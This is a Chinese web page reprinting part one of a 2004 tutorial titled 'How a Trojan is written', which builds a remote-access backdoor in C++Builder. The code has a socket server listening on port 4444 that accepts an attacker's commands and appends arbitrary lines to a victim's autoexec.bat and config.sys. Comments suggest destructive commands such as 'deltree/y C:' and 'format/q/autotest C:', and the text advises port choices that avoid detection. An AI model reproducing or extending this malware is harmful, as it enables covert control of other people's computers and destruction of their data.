用户 密码
太平洋系列网站:太平洋汽车网 | 太平洋游戏网
首  页 | 数码世界 | 手机通讯 | 硬件资讯 | 软件资讯 | 招聘与培训 | 游戏天下 | 下载中心 科技动态 | 今日报价 | 渠道商情 | 产品大全 | 笔 记 本 | 教你买电脑 | 评 测 室 | 短信中心
论  坛 | 影音家电 | 摄影专区 | 玩家E族 | 竞技天地 | Flash 动漫 | 有奖活动 |

-
您现在的位置:软件资讯 > 开发特区 > 开发语言 > C++Builder
木马是如何编写的(一)

出处:PConline
责任编辑:pjl

[04-2-14 9:29] 作者:周侃/中国软件
  接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定/义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下/建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接/收客户端(攻击者,也就是你自己)传来的数据
}

  好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{
if(temp.SubString(0,9)=="edit conf")
file://如/果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得/到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将/第11个字符转换成integer型,存入file_name变量
file://为/什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余/下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:\\config.sys",S_IREAD|S_IWRITE);
file://将/两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如/果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如/果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定/义计数器
while(fp==NULL)
{
file://如/果指针是空
fp=fopen(filename,"a+");
file://如/果文件不存在,创建之;如果存在,准备在其后添加
file://如/果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://跳/至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写/入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写/完后关闭目标文件
Socket->SendText("Sucess");
file://然/后发回“Success”的成功信息
}
}

  你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开!(未完待续)

本文转载自中国软件(http://www.csdn.net)。

发给好友 投稿给我们 加入收藏 返回顶部

相关文章:
教您自己动手删除木马、病毒
关于“广外女生”木马的问题
清除双关联木马“聪明基因”
流行木马大清除
当心QQ木马!
掌握C++Builder的除错艺术:第二篇 近距离观察
掌握C++Builder的除错艺术:第一篇 正确书写代码
用C++Builder打造网上聊天软件-MyNetMeeting(2)
用C++Builder打造网上聊天软件-MyNetMeeting(1)
Borland C++Builder 5.0教程(目录)
IT培训十大热门文章

内容搜索 
高级搜索
本栏今日焦点